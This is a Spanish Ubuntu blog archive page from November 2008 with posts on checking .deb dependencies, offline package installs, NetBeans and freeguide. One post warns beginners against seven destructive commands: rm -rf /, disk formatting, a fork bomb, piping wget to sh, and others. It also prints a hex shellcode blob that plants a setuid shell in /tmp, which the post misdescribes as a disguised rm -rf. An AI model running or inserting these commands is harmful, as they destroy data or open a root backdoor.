Archivo para 21/11/08

Colored Particles Wallpaper

colored

Descarga | Gnome-Look

Ver las dependencias de un paquete .deb

Cuando empece en Ubuntu, yo no tenia Internet en casa, Asi que cuando queria instalarme una aplicacion en mi equipo, me lo tenia que instalar en otro equipo previamente, uno que si tuviera acceso a internet y despues con una llave USB me llevaba los paquetes descargados a mi Pc para instalarlos.

Todos los paquetes descargados en un equipo se van guardando en el directorio /var/cache/apt/archives. Asi que si por ejemplo en ese PC instalas un reproductor de videos como puede ser “vlc”:

$ sudo aptitude install vlc

Todos los paquetes de VLC y sus dependencias se dejan en ese directorio /var/cache/apt/archives, asi que podrias llevartelos en una llave USB a un PC que no tenga internet. Copiarlos todos juntos a un directorio y luego ir haciendo click uno a uno en cada .deb para ir instalandolo de manera individual o acaso ejecutar el comando:

$ sudo dpkg -i *.deb

Para instalar todos los paquetes .deb del directorio de golpe.

Sin embargo este metodo es mucho de “ensayo y error”, porque llegas a tu casa tan contento, y cuando instalas un paquete .deb te sale un error diciendo que no puede instalarse porque le falta una dependencia no satisfecha (otro paquete .deb), asi que tienes que ir anotando los que te faltan y otra vez ir al Pc con acceso a internet, descargartelo o cogerlo de /apt/cache/archives y otra vez vuelta a empezar, hasta que por fin, consigues satisfacer todas las dependencias y tu aplicacion se instala.

Luego con el tiempo descubri AptonCD, con esta aplicacion puedes crearte un repositorio local de todos los paquetes descargados en un equipo, grabarlo a CD por ejemplo y llevarte ese CD a otra maquina sin internet para poder instalar comodamente todos los archivos. AptonCD me hubiera ahorrado muchos de esos viajes con la llave USB.

De todas formas existe tambien una forma de ver las dependencias que tiene un paquete .deb sin necesidad de instalarlo. Esto nos vendra muy bien para bajarnos ese paquete .deb, y todas sus dependencias, de golpe, facilitandonos estas instalaciones “tan traumaticas” si no tenemos internet.

El comando en cuestion es: dpkg-deb -I nombre_paquete_deb

Por ejemplo, si quisieramos saber que dependencias tiene “python-glade2_2.13.0-0ubuntu8_i386.deb” ejecutariamos:

root@soledad:~/Escritorio$dpkg-deb -I python-glade2_2.13.0-0ubuntu8_i386.deb
paquete debian nuevo, versión 2.0.
tamaño 46858 bytes: archivo de control= 1120 bytes.
1154 bytes, 20 líneas control
433 bytes, 5 líneas md5sums
183 bytes, 7 líneas * postinst #!/bin/sh
186 bytes, 7 líneas * prerm #!/bin/sh
Package: python-glade2
Source: pygtk
Version: 2.13.0-0ubuntu8
Architecture: i386
Maintainer: Ubuntu Desktop Team
Installed-Size: 156
Depends: python (<< 2.6), python (>= 2.4), python-support (>= 0.7.1), libatk1.0-0 (>= 1.20.0), libc6 (>= 2.2), libcairo2 (>= 1.2.4), libfontconfig1 (>= 2.4.0), libfreetype6 (>= 2.3.5), libglade2-0 (>= 1:2.6.1), libglib2.0-0 (>= 2.16.0), libgtk2.0-0 (>= 2.14.1), libpango1.0-0 (>= 1.21.6), libxml2 (>= 2.6.27), zlib1g (>= 1:1.1.4), python-gtk2 (= 2.13.0-0ubuntu8)
Suggests: python-gtk2-doc
Conflicts: python-gdk-imlib, python-glade, python-gnome, python-gtk, python2.3-glade2, python2.4-glade2
Provides: python2.4-glade2, python2.5-glade2
Section: python
Priority: optional
Description: GTK+ bindings: Glade support
Contains bindings for the glade library from use within Python. Glade
makes it very easy to create a user interface. In the target
application you just need to load the interface description from
the .glade file instead of constructing the GUI at runtime.
.
URL: http://www.daa.com.au/~james/software/pygtk/
Original-Maintainer: Sebastien Bacher

He subrayado en negrita la parte del comando donde nos indica que paquetes tenemos que tener instalados para que este paquete se instale correctamente. Si los tenemos ya instalados en nuestra maquina, .. perfecto…, en otro caso tenemos que descargarlos previamente.

Si quieres descargar un paquete .deb sin necesidad de instalarlo, puedes ejecutar el comando: aptitude download

Ejemplo:

root@soledad:~/Escritorio$aptitude download vlc
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias
Leyendo la información de estado... Hecho
Leyendo la información de estado extendido
Inicializando el estado de los paquetes... Hecho
Des:1 http://es.archive.ubuntu.com intrepid/multiverse vlc 0.9.4-1ubuntu3 [1668kB]
Descargados 1668kB en 30s (55,4kB/s).

Asi que combinando estos dos comandos, ya podemos ir descargandonos una aplicacion y todas sus dependencias asociadas para luego poder llevarnosla a otra maquina.

Por ultimo comentar, que las dependencias de un paquete .deb tambien pueden verse desde Synaptic (el gestor grafico de paquetes de Ubuntu en Gnome). Abririamos Synaptic, meteriamos en la cadena de busqueda el paquete que queremos localizar (p.ej “vlc”) y cuando aparezca en el listado, lo seleccionamos, pulsamos click derecho > Propiedades y en una de las pestañas de la nueva ventana que se abre, ya podemos ver las dependencias asociadas.

dependencias

Importante recordarte que un paquete .deb solo se instalara si es correcto y tiene satisfechas todas sus dependencias (es decir, estan instaladas previamente en tu maquina). En otro caso, el gestor de paquetes te mostara un error del tipo “Dependencia no satisfecha” y te mostrara el nombre de la dependecia que te falta por instalar. Esto a veces se hace largo pues por ejemplo una aplicacion depende de dos, y una de estas dos a su vez depende de otras, ect… pero tranquilo que llega un momento donde ya se terminan las dependencias y el programa se instala.

7 Comandos maliciosos para Linux (Nunca pero nunca los ejecutes)

terminatortux

Linux tampoco esta libre de usuarios malintencionados y si eres nuevo en este entorno no esta de mas que conozcas estas cosas. Existen comandos que no es recomendable ejecutar en nuestro sistema o evitar ejecutar si estan contenidos dentro de shell scripts. Yo siempre digo que no hagais Copy & Paste al tuntun de comandos, o si os bajais algun script de un sitio que no conozcais, lo editeis al menos antes y echeis un vistazo a su contenido para evitar luego males mayores.

Algunos de estos comandos “peligrosos” son:

1. rm -rf /

Este comando borra recursivamente todos los ficheros almacenados en el directorio root. Vendria a ser el equivalente (mas o menos) a un FORMAT C: en Windows.

2.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es el mismo comando que el anterior, pero escrito en su forma hexadecimal.

3. mkfs.ext3 /dev/sda

Formatea el sistema de archivos que se encuentra en /dev/sda (que generalmente es nuestro disco duro).

4. :(){:|:&};:

Conocido tambien como forkbomb, Este comando comenzara a crear y ejecutar un elevado numero de procesos en el sistema hasta que este se bloquee.

5. cualquier_comando > /dev/sda

Sobreescribe el dispositivo de bloques (/dev/sda) con la salida del comando ejecutado, generalmente borrando el contenido actual del dispositivo y provocado la perdida total de datos.

6. wget http://alguna_url -O- | sh

Este comando descargara un fichero ejecutable o script y lo ejecutara. Si el sitio no es confiable podria ser contenido malicioso.

7. mv /home/tu_usuario/* /dev/null

Mueve todas las carpetas de tu home a /dev/null, lo que provoca que sean borradas (eliminadas).

Fuentes | Malogey y Deadly Linux Commands

Essential MySQL

mysql

(requiere registro). Nuevas tarjetas disponibles en RefCardZ. Especialmente util la tarjeta de referencia de MySQL.

Descarga | RefCardZ

1 año de PC Magazine gratuito

pcmag

A partir de ahora no habra edicion en papel de PC Magazine, solo estara disponible en formato online. Aun asi, los “fans” de esta revista podemos tener un año de suscripcion gratuita si indicamos nuestra direccion de correo en GoReadGreen.com.

Visto en | LifeHacker

Disponible Netbeans 6.5

netb-start-9

Disponible una nueva version de este IDE de desarrollo y trae un “porron” de novedades. Su instalacion es muy sencilla, pero si acaso teneis problema podeis consultar el siguiente enlace.

Enlace | Instalando netbeans 6.5 en ubuntu

freeguide, para ver la guia de programacion de TV

freeguide

Si eres de los que les gusta ver la television (yo ultimamente paso bastante de ella pues por desgracia solo emiten porqueria) te interesara freeguide, Disponible para Windows y Linux, es una pequeña aplicacion con la que puedes ver que se emitira por tu canal de television favorito. Lo instalas con:

$ sudo aptitude install freeguide

Lo inicias con:

$ freeguide &

Mas informacion | freeguide
Visto en | Internet e non solo





¿Es compatible tu equipo con Ubuntu?


( Muchos fondos de pantalla, aqui )

DESCARGATE SCIFI LIFE

365 Dias de Soledad
Me debes los sueños, las promesas y las noches rotas. Me debes la paz, la sonrisa y la esperanza robadas. Me debes la sangre, las lágrimas y el sudor vertido. Me debes las noches vacías, los abrazos anhelados. Me debes un beso de ajenjo de tu amarga boca.

The Ubuntu Counter Project - user number # 11961
Geo Visitors Map
noviembre 2008
L M X J V S D
« Oct   Dic »
 12
3456789
10111213141516
17181920212223
24252627282930

Blog Stats

  • 30.925.713 hits